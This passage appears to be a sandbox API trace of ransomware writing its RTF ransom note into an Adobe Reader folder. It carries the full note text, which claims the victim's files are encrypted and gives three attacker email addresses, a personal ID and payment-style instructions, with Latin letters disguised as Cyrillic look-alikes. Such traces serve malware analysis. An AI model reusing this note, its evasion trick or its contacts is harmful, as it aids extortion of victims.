\\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n¤è;¤ÌÚÔ^ÁÎÚNE¥\x16U<è\x7fX@\x8d\x16S\x1f\x8aË\x18\x8c]Ó\x08", lpUsedDefaultChar=0x0) returned 14086 [0039.711] WriteFile (in: hFile=0x1d4, lpBuffer=0x1de4de8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1de4de8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0039.714] CloseHandle (hObject=0x1d4) returned 1 [0039.714] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\!bwng_info!.rtf")) returned 0xffffffff [0039.714] GetLastError () returned 0x2 [0039.714] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CAT\\!BWNG_INFO!.rtf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\cat\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0040.489] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 